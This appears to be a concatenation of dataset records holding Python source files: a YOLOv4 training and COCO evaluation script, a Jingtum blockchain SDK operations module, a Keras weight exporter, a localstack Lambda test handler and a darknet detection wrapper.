scaler = torch.cuda.amp.GradScaler() n_train = len(train_dataset) n_val = len(val_dataset) train_loader = DataLoader(train_dataset, batch_size=config.batch // config.subdivisions, shuffle=True, num_workers=16, pin_memory=True, drop_last=True, collate_fn=collate) val_loader = DataLoader(val_dataset, batch_size=config.batch // config.subdivisions, shuffle=True, num_workers=16, pin_memory=True, drop_last=True, collate_fn=val_collate) writer = SummaryWriter(log_dir=tb_log_dir, filename_suffix=f'OPT_{config.TRAIN_OPTIMIZER}_LR_{config.learning_rate}_BS_{config.batch}_Sub_{config.subdivisions}_Size_{config.width}', comment=f'OPT_{config.TRAIN_OPTIMIZER}_LR_{config.learning_rate}_BS_{config.batch}_Sub_{config.subdivisions}_Size_{config.width}') # writer.add_images('legend', # torch.from_numpy(train_dataset.label2colorlegend2(cfg.DATA_CLASSES).transpose([2, 0, 1])).to( # device).unsqueeze(0)) max_itr = epochs * n_train # global_step = cfg.TRAIN_MINEPOCH * n_train global_step = 0 logging.info(f'''Starting training: Epochs: {epochs} Batch size: {config.batch} Subdivisions: {config.subdivisions} Learning rate: {config.learning_rate} Steps: {max_itr//config.subdivisions} Training size: {n_train} Validation size: {n_val} Checkpoints: {save_cp} Device: {device.type} Images size: {config.width} Optimizer: {config.TRAIN_OPTIMIZER} Dataset classes: {config.classes} Train label path:{config.train_label} Pretrained: ''') def burnin_schedule(i): # pdb.set_trace() if i < n_train//config.batch: factor = pow(i / (n_train//config.batch), 4) elif i < int(max_itr*0.8//config.batch): factor = 1.0 elif i < int(max_itr*0.9//config.batch): factor = 0.1 else: factor = 0.01 # print(factor) return factor if config.TRAIN_OPTIMIZER.lower() == 'adam': optimizer = optim.Adam( model.parameters(), lr=config.learning_rate, betas=(0.9, 0.999), eps=1e-08, ) elif config.TRAIN_OPTIMIZER.lower() == 'sgd': optimizer = optim.SGD( params=model.parameters(), lr=config.learning_rate, momentum=config.momentum, weight_decay=config.decay, ) scheduler = optim.lr_scheduler.LambdaLR(optimizer, burnin_schedule) criterion = Yolo_loss(device=device, anchors=anchors, batch=config.batch // config.subdivisions, n_classes=config.classes) # scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='max', verbose=True, patience=6, min_lr=1e-7) save_prefix = 'Yolov4_epoch' saved_models = deque() # model.train() for epoch in range(epochs): model.train() epoch_loss = 0 epoch_step = 0 with tqdm(total=n_train, desc=f'Epoch {epoch + 1}/{epochs}', ncols=80) as pbar: for i, batch in enumerate(train_loader): global_step = global_step + 1 epoch_step = epoch_step + 1 images = batch[0] bboxes = batch[1] images = images.to(device=device, dtype=torch.float32) bboxes = bboxes.to(device=device) # with to bboxes_pred = model(images) loss, loss_xy, loss_wh, loss_obj, loss_cls, loss_l2 = criterion(bboxes_pred, bboxes) loss.backward() epoch_loss = epoch_loss + loss.item() if global_step % config.subdivisions == 0: optimizer.step() scheduler.step() model.zero_grad() if global_step % (log_step * config.subdivisions) == 0: writer.add_scalar('train/Loss', loss.item(), global_step) writer.add_scalar('train/loss_xy', loss_xy.item(), global_step) writer.add_scalar('train/loss_wh', loss_wh.item(), global_step) # writer.add_scalar('train/loss_obj', loss_obj.item(), global_step) writer.add_scalar('train/loss_cls', loss_cls.item(), global_step) # writer.add_scalar('train/loss_l2', loss_l2.item(), global_step) # writer.add_scalar('lr', scheduler.get_last_lr()[0], global_step) pbar.set_postfix(**{'loss (batch)': loss.item(), 'loss_xy': loss_xy.item(), 'loss_wh': loss_wh.item(), # 'loss_obj': loss_obj.item(), 'loss_cls': loss_cls.item(), # 'loss_l2': loss_l2.item(), 'lr': scheduler.get_last_lr()[0] }) logging.debug('Train step_{:.06f}: loss : {:.06f},loss xy : {:.06f},loss wh : {:.06f},' 'loss obj : {:.06f},loss cls : {:.06f},loss l2 : {},lr : {:.06f}' .format(global_step, loss.item(), loss_xy.item(), loss_wh.item(), loss_obj.item(), loss_cls.item(), loss_l2.item(), scheduler.get_last_lr()[0])) pbar.update(images.shape[0]) if cfg.use_darknet_cfg: eval_model = Darknet(cfg.cfgfile, inference=True) else: eval_model = Yolov4(anchors,yolov4conv137weight=cfg.pretrained, n_classes=cfg.classes, inference=True) if torch.cuda.device_count() > 1: eval_model.load_state_dict(model.module.state_dict()) else: eval_model.load_state_dict(model.state_dict()) eval_model.to(device) evaluator = evaluate(eval_model, val_loader, config, device) del eval_model stats = evaluator.coco_eval['bbox'].stats writer.add_scalar('train/AP', stats[0], global_step) writer.add_scalar('train/AP50', stats[1], global_step) writer.add_scalar('train/AP75', stats[2], global_step) writer.add_scalar('train/AP_small', stats[3], global_step) writer.add_scalar('train/AP_medium', stats[4], global_step) writer.add_scalar('train/AP_large', stats[5], global_step) # writer.add_scalar('train/AR1', stats[6], global_step) # writer.add_scalar('train/AR10', stats[7], global_step) # writer.add_scalar('train/AR100', stats[8], global_step) # writer.add_scalar('train/AR_small', stats[9], global_step) # writer.add_scalar('train/AR_medium', stats[10], global_step) # writer.add_scalar('train/AR_large', stats[11], global_step) if save_cp: try: os.makedirs(os.path.join(tb_log_dir,"checkpoints"), exist_ok=True) logging.info('Created checkpoint directory') except OSError: pass save_path = os.path.join(tb_log_dir,"checkpoints", f'{save_prefix}{epoch + 1}.pth') if torch.cuda.device_count() > 1: torch.save(model.module.state_dict(), save_path) else: torch.save(model.state_dict(), save_path) logging.info(f'Checkpoint {epoch + 1} saved !') saved_models.append(save_path) if len(saved_models) > config.keep_checkpoint_max > 0: model_to_remove = saved_models.popleft() try: os.remove(model_to_remove) except: logging.info(f'failed to remove {model_to_remove}') writer.close() @torch.no_grad() def evaluate(model, data_loader, cfg, device, logger=None, **kwargs): """ finished, tested """ # cpu_device = torch.device("cpu") model.train(False) model.eval() # header = 'Test:' coco = convert_to_coco_api(data_loader.dataset, bbox_fmt='coco') coco_evaluator = CocoEvaluator(coco, iou_types = ["bbox"], bbox_fmt='coco') for images, targets in tqdm(data_loader,desc="Validation Batch: ", ncols=80): model_input = [[cv2.resize(img, (cfg.w, cfg.h))] for img in images] model_input = np.concatenate(model_input, axis=0) model_input = model_input.transpose(0, 3, 1, 2) model_input = torch.from_numpy(model_input).div(255.0) model_input = model_input.to(device) targets = [{k: v.to(device) for k, v in t.items()} for t in targets] if torch.cuda.is_available(): torch.cuda.synchronize() model_time = time.time() outputs = model(model_input) # outputs = [{k: v.to(cpu_device) for k, v in t.items()} for t in outputs] model_time = time.time() - model_time # outputs = outputs.cpu().detach().numpy() res = {} # for img, target, output in zip(images, targets, outputs): for img, target, boxes, confs in zip(images, targets, outputs[0], outputs[1]): img_height, img_width = img.shape[:2] # boxes = output[...,:4].copy() # output boxes in yolo format boxes = boxes.squeeze(2).cpu().detach().numpy() boxes[...,2:] = boxes[...,2:] - boxes[...,:2] # Transform [x1, y1, x2, y2] to [x1, y1, w, h] boxes[...,0] = boxes[...,0]*img_width boxes[...,1] = boxes[...,1]*img_height boxes[...,2] = boxes[...,2]*img_width boxes[...,3] = boxes[...,3]*img_height boxes = torch.as_tensor(boxes, dtype=torch.float32) # confs = output[...,4:].copy() confs = confs.cpu().detach().numpy() labels = np.argmax(confs, axis=1).flatten() labels = torch.as_tensor(labels, dtype=torch.int64) scores = np.max(confs, axis=1).flatten() scores = torch.as_tensor(scores, dtype=torch.float32) res[target["image_id"].item()] = { "boxes": boxes, "scores": scores, "labels": labels, } evaluator_time = time.time() coco_evaluator.update(res) evaluator_time = time.time() - evaluator_time # gather the stats from all processes coco_evaluator.synchronize_between_processes() # accumulate predictions from all images coco_evaluator.accumulate() coco_evaluator.summarize() return coco_evaluator def getArgs(): parser = argparse.ArgumentParser(description='Train the Model on images and target masks', formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('--config_file', type=str, default="experiment/demo.yaml", help="yaml configuration file") parser.add_argument('--load', dest='load', type=str, default=None, help='Load model from a .pth file') args = parser.parse_args() return args def init_logger(log_file=None, log_dir=None, log_level=logging.INFO, mode='w', stdout=True): """ log_dir: 日志文件的文件夹路径 mode: 'a', append; 'w', 覆盖原文件写入. """ def get_date_str(): now = datetime.datetime.now() return now.strftime('%Y-%m-%d_%H-%M-%S') fmt = '%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s: %(message)s' if log_dir is None: log_dir = '~/temp/log/' if log_file is None: log_file = 'log_' + get_date_str() + '.txt' if not os.path.exists(log_dir): os.makedirs(log_dir) log_file = os.path.join(log_dir, log_file) # 此处不能使用logging输出 print('log file path:' + log_file) logging.basicConfig(level=logging.DEBUG, format=fmt, filename=log_file, filemode=mode) if stdout: console = logging.StreamHandler(stream=sys.stdout) console.setLevel(log_level) formatter = logging.Formatter(fmt) console.setFormatter(formatter) logging.getLogger('').addHandler(console) return logging def _get_date_str(): now = datetime.datetime.now() return now.strftime('%Y-%m-%d_%H-%M') def get_anchors(cfg, num_of_anchor=9): if cfg.anchors == None: f = open(cfg.train_label) lines = [line.rstrip('\n') for line in f.readlines()] annotation_dims = [] from PIL import Image for line in lines: line = line.rstrip().split() img = Image.open(os.path.join(cfg.dataset_dir,line[0])) img_w,img_h = img.size try: for obj in line[1:]: obj = obj.split(",") annotation_dims.append((float(obj[2])/img_w*cfg.width,float(obj[3])/img_h*cfg.height)) except: pass annotation_dims = np.array(annotation_dims) from sklearn.cluster import KMeans kmeans_calc = KMeans(n_clusters=num_of_anchor) kmeans_calc.fit(annotation_dims) y_kmeans = kmeans_calc.predict(annotation_dims) anchor_list = [] for ind in range(num_of_anchor): anchor_list.append(np.mean(annotation_dims[y_kmeans==ind],axis=0)) anchor_list = list(map(int,np.concatenate(anchor_list))) else: anchor_list = cfg.anchors return anchor_list if __name__ == "__main__": args = getArgs() # import config file and save it to log update_config(cfg, args) init_seed(cfg.SEED) anchors = get_anchors(cfg) log_dir = os.path.join("log",os.path.basename(args.config_file)[:-5]) logging = init_logger(log_dir=log_dir) logging.info(pprint.pformat(args)) logging.info(cfg) device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') logging.info(f'Using device {device}') if cfg.use_darknet_cfg: model = Darknet(cfg.cfgfile) else: model = Yolov4(anchors, yolov4conv137weight=cfg.pretrained, n_classes=cfg.classes) if torch.cuda.device_count() > 1: model = torch.nn.DataParallel(model) model.to(device=device) try: train(model=model, config=cfg, tb_log_dir=log_dir, anchors = anchors, epochs=cfg.TRAIN_EPOCHS, device=device) except KeyboardInterrupt: torch.save(model.state_dict(), 'INTERRUPTED.pth') logging.info('Saved interrupt') try: sys.exit(0) except SystemExit: os._exit(0) ```
{ "source": "jingtra/localstack", "score": 3 }
#### File: integration/lambdas/lambda_environment.py ```python import os def handler(event, context): ''' Simple Lambda function that returns the value of the "Hello" environment variable ''' return {'Hello': os.environ.get('Hello')} ```
{ "source": "jingtum/jingtum-python-sdk", "score": 2 }
#### File: jingtum-python-sdk/src/operation.py ```python from config import Config from account import FinGate from logger import logger from server import APIServer from serialize import JingtumBaseDecoder from account import path_convert, Amount, Memo class JingtumOperException(Exception): pass class Operation(object): def __init__(self, wallet): super(Operation, self).__init__() self.src_address = wallet.address self.src_secret = wallet.secret self.is_sync = False self.client_resource_id = self.getNextUUID() self.api_helper = APIServer() from server import g_test_evn if g_test_evn: self.api_helper.setTest(True) self.validateAddress(self.src_address) def getNextUUID(self): return FinGate.getNextUUID() def validateAddress(self, address): if not JingtumBaseDecoder.verify_checksum(JingtumBaseDecoder.decode_base(address, 25)): raise JingtumOperException("Invalid address: %s" % str(address)) def submit(self, callback=None): #print self.oper() from server import g_test_evn if g_test_evn: self.api_helper.setTest(True) if callback is None: return self.api_helper.post(*self.oper(), callback=callback) else: self.api_helper.postasyn(*self.oper(), callback=callback) return None # def addSrcSecret(self, src_secret): # self.src_secret = src_secret def setValidate(self, is_sync): self.is_sync = is_sync def setClientId(self, client_resource_id): self.client_resource_id = client_resource_id class PaymentOperation(Operation): def __init__(self, wallet): super(PaymentOperation, self).__init__(wallet) self.amt = {} self.dest_address = "" self.path_convert = path_convert self.path = None self.memos = [] def para_required(func): def _func(*args, **args2): if len(args[0].amt) == 0: #logger.error("addAmount first:" + func.__name__) raise JingtumOperException("addAmount first before oper.") elif args[0].dest_address == "": #logger.error("addDestAddress first:" + func.__name__) raise JingtumOperException("addDestAddress first before oper.") elif args[0].src_secret == "": #logger.error("addDestAddress first:" + func.__name__) raise JingtumOperException("addSrcSecret first before oper.") else: back = func(*args, **args2) return back return _func def setAmount(self, amount): self.amt = amount def setDestAddress(self, dest_address): self.dest_address = dest_address def setChoice(self, key): if self.path_convert.has_key(key): self.path = self.path_convert[key] def setMemo(self, value): self.memos.append(value) @para_required def oper(self): _payment = {} _payment["destination_amount"] = self.amt _payment["source_account"] = self.src_address _payment["destination_account"] = self.dest_address if len(self.memos) > 0: _payment["memos"] = self.memos if self.path is not None: _payment["paths"] = self.path _para = {} _para["secret"] = self.src_secret _para["payment"] = _payment _para["client_resource_id"] = self.client_resource_id if self.is_sync: url = 'accounts/{address}/payments?validated=true' else: url = 'accounts/{address}/payments' url = url.format(address=self.src_address) return url, _para class OrderOperation(Operation): SELL = "sell" BUY = "buy" def __init__(self, wallet): super(OrderOperation, self).__init__(wallet) self.order_type = "buy" self.base_currency, self.base_issuer = None, None self.counter_currency, self.counter_issuer = None, None self.amount = 0 self.price = 0 def para_required(func): def _func(*args, **args2): if args[0].counter_currency is None or args[0].counter_issuer is None: #logger.error("setPair first:" + func.__name__) raise JingtumOperException("setPair first before oper.") elif args[0].base_currency is None or args[0].base_issuer is None: #logger.error("setPair first:" + func.__name__) raise JingtumOperException("setPair first before oper.") elif args[0].amount == 0: #logger.error("setAmount first:" + func.__name__) raise JingtumOperException("setAmount first before oper.") elif args[0].price == 0: #logger.error("setPrice first:" + func.__name__) raise JingtumOperException("setPrice first before oper.") elif args[0].src_secret == "": #logger.error("addDestAddress first:" + func.__name__) raise JingtumOperException("addSrcSecret first before oper.") else: back = func(*args, **args2) return back return _func def setPair(self, pair): try: base, counter = pair.split("/") if base.find(":") > 0: self.base_currency, self.base_issuer = base.split(":") else: self.base_currency, self.base_issuer = base, "" if counter.find(":") > 0: self.counter_currency, self.counter_issuer = counter.split(":") else: self.counter_currency, self.counter_issuer = counter, "" except Exception, e: raise JingtumOperException("setPair para Invalid.") def setType(self, order_type): self.order_type = order_type def setAmount(self, amount): self.amount = amount def setPrice(self, price): self.price = price # def setTakePays(self, currency_type, currency_value, counterparty=""): # self.takerpays["value"] = str(currency_value) # self.takerpays["currency"] = str(currency_type) # self.takerpays["counterparty"] = str(counterparty) # def setTakeGets(self, currency_type, currency_value, counterparty=""): # self.takergets["value"] = str(currency_value) # self.takergets["currency"] = str(currency_type) # self.takergets["counterparty"] = str(counterparty) @para_required def oper(self): _order = {} takergets, takerpays = {}, {} if self.order_type == "sell": takergets["value"] = str(self.amount) takergets["currency"] = str(self.base_currency) takergets["counterparty"] = str(self.base_issuer) takerpays["value"] = str(self.amount * self.price) takerpays["currency"] = str(self.counter_currency) takerpays["counterparty"] = str(self.counter_issuer) else: takerpays["value"] = str(self.amount) takerpays["currency"] = str(self.base_currency) takerpays["counterparty"] = str(self.base_issuer) takergets["value"] = str(self.amount * self.price) takergets["currency"] = str(self.counter_currency) takergets["counterparty"] = str(self.counter_issuer) _order["type"] = self.order_type _order["taker_pays"] = takerpays _order["taker_gets"] = takergets _para = {} _para["secret"] = self.src_secret _para["order"] = _order if self.is_sync: url = 'accounts/{address}/orders?validated=true' else: url = 'accounts/{address}/orders' url = url.format(address=self.src_address) return url, _para class CancelOrderOperation(Operation): """docstring for CancelOrder""" def __init__(self, wallet): super(CancelOrderOperation, self).__init__(wallet) self.order_num = 0 def para_required(func): def _func(*args, **args2): if args[0].order_num == 0: #logger.error("setOrderNum first:" + func.__name__) raise JingtumOperException("setOrderNum first before oper.") elif args[0].src_secret == "": #logger.error("addDestAddress first:" + func.__name__) raise JingtumOperException("addSrcSecret first before oper.") else: back = func(*args, **args2) return back return _func def setSequence(self, order_num): self.order_num = order_num @para_required def oper(self): _para = {} _para["secret"] = self.src_secret if self.is_sync: url = 'accounts/{address}/orders/{order}?validated=true' else: url = 'accounts/{address}/orders/{order}' url = url.format(address=self.src_address, order=self.order_num) return url, _para, "DELETE" class SettingsOperation(Operation): def __init__(self, wallet): super(SettingsOperation, self).__init__(wallet) self.settings = {} def setDomain(self, domain): self.settings["domain"] = domain def setTransferRate(self, rate): self.settings["transfer_rate"] = rate def setPasswordSpent(self, b=False): self.settings["password_spent"] = b def setRequireDestinationTag(self, b=False): self.settings["require_destination_tag"] = b def setRequireAuthorization(self, b=False): self.settings["require_authorization"] = b def setDisallowSwt(self, b=False): self.settings["disallow_swt"] = b def setEmailHash(self, hash_id): self.settings["email_hash"] = hash_id def setWalletLocator(self, wallet_locator): self.settings["wallet_locator"] = wallet_locator def setWalletSize(self, wallet_size): self.settings["wallet_size"] = wallet_size def setMessageKey(self, message_key): self.settings["message_key"] = message_key def setRegularKey(self, regular_key): self.settings["regular_key"] = regular_key def setDisableMaster(self, b=False): self.settings["disable_master"] = b def oper(self): _para = {} _para["secret"] = self.src_secret _para["settings"] = self.settings if self.is_sync: url = 'accounts/{address}/settings?validated=true' else: url = 'accounts/{address}/settings' url = url.format(address=self.src_address) return url, _para class RelationsOperation(Operation): def __init__(self, wallet): super(RelationsOperation, self).__init__(wallet) self.amt = None self.counterparty = "" self.relation_type = "" def para_required(func): def _func(*args, **args2): if len(args[0].amt) == 0: #logger.error("addAmount first:" + func.__name__) raise JingtumOperException("addAmount first before oper.") elif args[0].relation_type == "": #logger.error("setRelationType first:" + func.__name__) raise JingtumOperException("setRelationType first before oper.") elif args[0].counterparty == "": #logger.error("setCounterparty first:" + func.__name__) raise JingtumOperException("setCounterparty first before oper.") elif args[0].src_secret == "": #logger.error("addDestAddress first:" + func.__name__) raise JingtumOperException("addSrcSecret first before oper.") else: back = func(*args, **args2) return back return _func def setAmount(self, amt): amt.update(limit=amt.pop("value")) self.amt = amt def setCounterparty(self, counterparty): self.counterparty = counterparty def setType(self, relation_type): self.relation_type = relation_type @para_required def oper(self): _para = {} _para["secret"] = self.src_secret _para["type"] = self.relation_type _para["counterparty"] = self.counterparty _para["amount"] = self.amt if self.is_sync: url = 'accounts/{address}/relations?validated=true' else: url = 'accounts/{address}/relations' url = url.format(address=self.src_address) return url, _para class RemoveRelationsOperation(Operation): def __init__(self, wallet): super(RemoveRelationsOperation, self).__init__(wallet) self.amt = {} self.counterparty = "" self.relation_type = "" def para_required(func): def _func(*args, **args2): if len(args[0].amt) == 0: #logger.error("addAmount first:" + func.__name__) raise JingtumOperException("addAmount first before oper.") elif args[0].relation_type == "": #logger.error("setRelationType first:" + func.__name__) raise JingtumOperException("setRelationType first before oper.") elif args[0].counterparty == "": #logger.error("setCounterparty first:" + func.__name__) raise JingtumOperException("setCounterparty first before oper.") elif args[0].src_secret == "": #logger.error("addDestAddress first:" + func.__name__) raise JingtumOperException("addSrcSecret first before oper.") else: back = func(*args, **args2) return back return _func def setAmount(self, amt): amt.update(limit=amt.pop("value")) self.amt = amt def setCounterparty(self, counterparty): self.counterparty = counterparty def setType(self, relation_type): self.relation_type = relation_type @para_required def oper(self): _para = {} _para["secret"] = self.src_secret _para["type"] = self.relation_type _para["counterparty"] = self.counterparty _para["amount"] = self.amt url = 'accounts/{address}/relations' url = url.format(address=self.src_address) return url, _para, "DELETE" class AddTrustLine(Operation): def __init__(self, wallet): super(AddTrustLine, self).__init__(wallet) self.counterparty = "" self.currency = "" self.frozen = False def para_required(func): def _func(*args, **args2): if len(args[0].counterparty) == 0: #logger.error("setCounterparty first:" + func.__name__) raise JingtumOperException("setCounterparty first before oper.") elif args[0].currency == "": #logger.error("setCurrency first:" + func.__name__) raise JingtumOperException("setCurrency first before oper.") elif args[0].src_secret == "": #logger.error("addDestAddress first:" + func.__name__) raise JingtumOperException("addSrcSecret first before oper.") else: back = func(*args, **args2) return back return _func def setCounterparty(self, counterparty): self.counterparty = counterparty def setLimit(self, limit): self.trust_limit = limit def setCurrency(self, currency): self.currency = currency def setTrustlineFrozen(self, frozen): self.frozen = frozen @para_required def oper(self): _trust = {} _trust["limit"] = self.trust_limit _trust["currency"] = self.currency _trust["counterparty"] = self.counterparty _trust["account_trustline_frozen"] = self.frozen _para = {} _para["secret"] = self.src_secret _para["trustline"] = _trust if self.is_sync: url = 'accounts/{address}/trustlines?validated=true' else: url = 'accounts/{address}/trustlines' url = url.format(address=self.src_address) return url, _para class RemoveTrustLine(Operation): def __init__(self, wallet): super(RemoveTrustLine, self).__init__(wallet) self.counterparty = "" self.currency = "" self.frozen = False def para_required(func): def _func(*args, **args2): if len(args[0].counterparty) == 0: #logger.error("setCounterparty first:" + func.__name__) raise JingtumOperException("setCounterparty first before oper.") elif args[0].currency == "": #logger.error("setCurrency first:" + func.__name__) raise JingtumOperException("setCurrency first before oper.") elif args[0].src_secret == "": #logger.error("addDestAddress first:" + func.__name__) raise JingtumOperException("addSrcSecret first before oper.") else: back = func(*args, **args2) return back return _func def setCounterparty(self, counterparty): self.counterparty = counterparty def setLimit(self, limit): self.trust_limit = limit def setCurrency(self, currency): self.currency = currency def setTrustlineFrozen(self, frozen): self.frozen = frozen @para_required def oper(self): _trust = {} _trust["limit"] = 0 _trust["currency"] = self.currency _trust["counterparty"] = self.counterparty _trust["account_trustline_frozen"] = self.frozen _para = {} _para["secret"] = self.src_secret _para["trustline"] = _trust if self.is_sync: url = 'accounts/{address}/trustlines?validated=true' else: url = 'accounts/{address}/trustlines' url = url.format(address=self.src_address) return url, _para class SubmitMessage(Operation): def __init__(self, wallet): super(SubmitMessage, self).__init__(wallet) self.destination_account = "" self.message = "" def para_required(func): def _func(*args, **args2): if len(args[0].destination_account) == 0: #logger.error("setDestAddress first:" + func.__name__) raise JingtumOperException("setDestAddress first before oper.") elif len(args[0].message) == 0: #logger.error("setMessage first:" + func.__name__) raise JingtumOperException("setMessage first before oper.") elif args[0].src_secret == "": #logger.error("addDestAddress first:" + func.__name__) raise JingtumOperException("addSrcSecret first before oper.") else: back = func(*args, **args2) return back return _func def setDestAddress(self, destination_account): self.destination_account = destination_account def setMessage(self, message): self.message = message @para_required def oper(self): _para = {} _para["secret"] = self.src_secret _para["destination_account"] = self.destination_account _para["message_hash"] = self.message if self.is_sync: url = 'accounts/{address}/messages?validated=true' else: url = 'accounts/{address}/messages' url = url.format(address=self.src_address) return url, _para ```
{ "source": "JinguMastery/My-Unity-Project-OSMCity", "score": 3 }
#### File: Tensorflow/Python/NoedifyPython.py ```python def ExportModel(model, filename): import os import numpy as np paramFile = open(filename,"w+") previousConvLayer = -1 print(model.layers.__len__()) for l in range(0,model.layers.__len__()): if (np.shape(model.layers[l].get_weights())!=(0,)): if (np.shape(np.shape(model.layers[l].get_weights()[0]))==(4,)): # convolutional no_filters_cur = np.shape(model.layers[l].get_weights()[0])[3] no_filters_prev = np.shape(model.layers[l].get_weights()[0])[2] print("Convolutional layer with {} filters.".format(no_filters_prev*no_filters_cur)) weights = model.layers[l].get_weights()[0]; # get weights print(np.shape(weights)) for f in range(0,no_filters_cur): outString = "" for c in range(0,np.shape(weights)[2]): for j in range(0,np.shape(weights)[1]): for i in range(0,np.shape(weights)[0]): outString = outString + "{},".format(weights[j,i,c,f]) outString = outString[:-1] paramFile.write(outString) paramFile.write("\n") paramFile.write("*\n") biases = model.layers[l].get_weights()[1]; # get biases print(np.shape(biases)) for j in range(0,np.shape(biases)[0]): paramFile.write("{}\n".format(biases[j])) paramFile.write("***\n") previousConvLayer = l elif (np.shape(np.shape(model.layers[l].get_weights()[0]))==(2,)): # fully-connected weights = model.layers[l].get_weights()[0]; # get weights print(np.shape(weights)) if (previousConvLayer==-1): # if previous layer is FC for j in range(0,np.shape(weights)[1]): for i in range(0,np.shape(weights)[0]-1): paramFile.write("{},".format(weights[i,j])) paramFile.write("{}".format(weights[np.shape(weights)[0]-1,j])) paramFile.write("\n") else: # if previous layer is CV print("fully connected layer {}, following conv. layer {}".format(l,previousConvLayer)) weights_prev_conv = model.layers[previousConvLayer].get_weights()[0]; # get weights N_filters = np.shape(model.layers[previousConvLayer].get_weights()[0])[3] filter_shape = ((model.layers[previousConvLayer].input_shape[1] - model.layers[previousConvLayer].kernel_size[0]) / model.layers[previousConvLayer].strides[0] + 1,(model.layers[previousConvLayer].input_shape[2] - model.layers[previousConvLayer].kernel_size[1]) / model.layers[previousConvLayer].strides[1] + 1) filter_shape = np.ceil(filter_shape) print("# filters: {}, filter shape: ({},{})".format(N_filters,filter_shape[0],filter_shape[1])) for j in range(0,np.shape(weights)[1]): outString = "" for fy in range(0,int(filter_shape[1])): for fx in range(0,int(filter_shape[0])): for f in range(0,N_filters): hi = 1 #print("filter {}, fx {}, fy {} : {}".format(f,fx,fy,fy*N_filters*int(filter_shape[0]) + fx*N_filters + f)) #paramFile.write("{},".format(weights[fy*N_filters*int(filter_shape[0]) + fx*N_filters + f,j])) #print("weight no: {}, to node: {}".format(fy*N_filters*int(filter_shape[0]) + fx*N_filters + f,j)) #outString = outString + "{},".format(weights[fy*N_filters*int(filter_shape[0]) + fx*N_filters + f,j]) for f in range(0,N_filters): for fy in range(0,int(filter_shape[1])): for fx in range(0,int(filter_shape[0])): index = fy*N_filters*int(filter_shape[0]) + fx*N_filters + f weight_val = weights[index,j] outString = outString + "{},".format(weight_val,j) outString = outString[:-1] paramFile.write(outString) paramFile.write("\n") previousConvLayer = -1 paramFile.write("*\n") biases = model.layers[l].get_weights()[1]; # get biases print(np.shape(biases)) for j in range(0,np.shape(biases)[0]): paramFile.write("{}\n".format(biases[j])) paramFile.write("***\n") paramFile.close() ```
{ "source": "jing-vision/lightnet", "score": 2 }
#### File: lightnet/scripts/lightnet.py ```python from ctypes import * import sys import os import darknet cwd = os.getcwd() # predict_image_v2 = darknet.lib.network_predict_image_v2 predict_image_v2 = darknet.lib.network_predict_image predict_image_v2.argtypes = [c_void_p, darknet.IMAGE] predict_image_v2.restype = POINTER(c_float) def set_cwd(path): global cwd cwd = path def classify(net, meta, im): out = predict_image_v2(net, im) res = [] for i in range(meta.classes): nameTag = meta.names[i] res.append((nameTag, out[i])) res = sorted(res, key=lambda x: -x[1]) print(res[0]) return res def to_str(path, feed_to_darknet=False): if not os.path.isabs(path): path = os.path.join(cwd, path) if feed_to_darknet: path = path.encode('ascii') return path def load_name_list(names_path): if os.path.exists(names_path): with open(names_path) as namesFH: namesList = namesFH.read().strip().split("\n") altNames = [x.strip() for x in namesList] return altNames return [] USING_DARKNET_IMAGE_IO = True def detect_from_file(net, meta, image_path, thresh=.5, hier_thresh=.5, nms=.45, debug=False): #pylint: disable= C0321 if USING_DARKNET_IMAGE_IO: im = darknet.load_image(to_str(image_path, True), 0, 0) else: import cv2 custom_image = cv2.imread(to_str(image_path)) im, arr = darknet.array_to_image(custom_image) if debug: print("Loaded image") det = detect_from_memory(net, meta, im, thresh, hier_thresh, nms, debug) if USING_DARKNET_IMAGE_IO: darknet.free_image(im) if debug: print("freed image") return det def convertBack(x, y, w, h): xmin = round(x - (w / 2)) if xmin < 0: xmin = 0 xmax = round(x + (w / 2)) if xmax > w - 1: xmax = round(w - 1) ymin = round(y - (h / 2)) if ymin < 0: ymin = 0 ymax = round(y + (h / 2)) if ymax > h - 1: ymax = round(h - 1) return xmin, ymin, xmax, ymax def detect_from_memory(net, meta, im, thresh=.5, hier_thresh=.5, nms=.45, debug=False): """ Performs the meat of the detection """ num = c_int(0) if debug: print("Assigned num") pnum = pointer(num) if debug: print("Assigned pnum") darknet.predict_image(net, im) if debug: print("did prediction") dets = darknet.get_network_boxes(net, im.w, im.h, thresh, hier_thresh, None, 0, pnum, 1) if debug: print("Got dets") num = pnum[0] if debug: print("got zeroth index of pnum") if nms: darknet.do_nms_sort(dets, num, meta.classes, nms) if debug: print("did sort") res = [] if debug: print("about to range") for j in range(num): if debug: print("Ranging on " + str(j) + " of " + str(num)) if debug: print("Classes: " + str(meta), meta.classes, meta.names) for i in range(meta.classes): if debug: print("Class-ranging on " + str(i) + " of " + str(meta.classes) + "= " + str(dets[j].prob[i])) if dets[j].prob[i] > 0: b = dets[j].bbox nameTag = meta.names[i] if debug: print("Got bbox", b) print(nameTag) print(dets[j].prob[i]) print((b.x, b.y, b.w, b.h)) res.append((nameTag, dets[j].prob[i], (b.x, b.y, b.w, b.h))) if debug: print("did range") res = sorted(res, key=lambda x: -x[1]) if debug: print("did sort") darknet.free_detections(dets, num) if debug: print("freed detections") return res def load_network_meta(cfg_path, weights_path, meta_path=None): class PyMeta: def __init__(self): self.classes = 0 self.names = [] py_meta = PyMeta() if meta_path: names = load_name_list(meta_path) py_meta.classes = len(names) py_meta.names = names else: py_meta.classes = 1 py_meta.names = ['obj'] net = darknet.load_net_custom( to_str(cfg_path, True), to_str(weights_path, True), 0, 1) # batch size = 1 return net, py_meta if __name__ == "__main__": net, meta = load_network_meta( "obj.cfg", "weights/obj_last.weights", "obj.names") r = detect_from_file(net, meta, "img/air_vapor/air_vapor_original_shot_2018-May-07-22-12-34-237301_3fd9a907-034f-45c0-9a84-f4431945fa7b.jpg", thresh=0.25, debug=False) print(r) ```
{ "source": "jingw222/hiitpi", "score": 3 }
